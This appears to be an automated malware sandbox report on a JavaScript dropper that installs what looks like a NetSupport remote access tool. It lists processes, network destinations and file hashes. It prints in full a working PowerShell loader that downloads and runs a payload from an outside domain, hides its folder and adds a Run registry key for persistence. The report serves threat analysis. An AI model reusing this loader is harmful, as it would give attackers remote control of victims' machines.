| PID 3784 wrote to memory of 4424 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq0rwyu5.yoq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3784-8-0x00000185740A0000-0x00000185740C2000-memory.dmp
memory/3784-9-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp
memory/3784-10-0x0000018572150000-0x0000018572160000-memory.dmp
memory/3784-11-0x0000018572150000-0x0000018572160000-memory.dmp
memory/3784-12-0x0000018572150000-0x0000018572160000-memory.dmp
memory/3784-15-0x0000018574130000-0x0000018574142000-memory.dmp
memory/3784-14-0x0000018574090000-0x000001857409A000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.dll
| MD5 | 97a09fb8d4d01659639ca6248075abf5 |
| SHA1 | 2eb7edb052ac8776edfe422f4d58e6ca29b246aa |
| SHA256 | 174c6fd0d92ea474c5de73135ccede46420da09e28ff0bfeeaa1b8e3d983eea7 |
| SHA512 | e80df0dce370c009bb71d38204d558acc0c4c99463bf14ddd72afe1fa0df69724bcc1219516cf70fa757a1ad5d5e08fc6fade6ad7c6503da54a2af9703c44045 |
memory/3784-74-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.DLL
| MD5 | 740c9f575ba186128f6cfe97e4cafcf5 |
| SHA1 | fc391e6df6da78d031c08ef746ae08ff7e9e197f |
| SHA256 | 0bd2f372ba1413dd7a88d65ed7c11921eb0abd48364757ef6891625e9066ced6 |
| SHA512 | cafac27c599b8cf2fc3a290969a38d31fe4560b634c58d058ada03b7a1a9ee0c0013cf9aa393d7732eb98defcdc970247f5cecb79b91115de032539856be1421 |
C:\Users\Admin\AppData\Roaming\DIVX-414\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-414\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-414\MSVCR100.dll
| MD5 | 4b06e1117da0d7a8d4d5f4511d3ab843 |
| SHA1 | c4baa29f6912243e75f10de676d34658f95fc002 |
| SHA256 | 5e4d3ff0e6d588a788f8ec0415c2a8e654c77d5e01b96f0110e5229d9f348617 |
| SHA512 | e71fcec7266613f16cf4c4c6b55901acddc926e30dde0b7273c573fdfa81c6e75dd74af365e7acee343fcad01ae994b65a8886e2c197713c63b4e73f3e3a01ac |
C:\Users\Admin\AppData\Roaming\DIVX-414\msvcr100.dll
| MD5 | a72532314c76a7499dc195237904e008 |
| SHA1 | a79922172ac532128eeef537d13c069225555352 |
| SHA256 | 7accb3d1ab09438ff282f58acc30d543661876435ec6a6855e7f8a817b5beed6 |
| SHA512 | 6d3ca1100542475330033bd8620aa1348b197b68adbe8fa80e773827af9faac1b62cfda6d8ea76e250ff633353b85ac3436a7085cdfcff58c842f451b9658be5 |
C:\Users\Admin\AppData\Roaming\DIVX-414\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX-414\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL
| MD5 | edbb1829892bfbd9c768eeaddfcb2bcb |
| SHA1 | de8e0fd70ea6cc4e4c7c2e3d5d83a5c0e04f28e0 |
| SHA256 | 5a82eb5f63412f73bde8c29b5ba039ff488b2a15882abefa2c0d48a81ca2ea5e |
| SHA512 | 56928c07e38f0722dc42cba6108a6936a70d919bb0b6547e17e38c92ed073cd9927557088b9f125b2cdd1eecc555227f3cf9d4d278f0aec4bd1d3ac4900d5ea9 |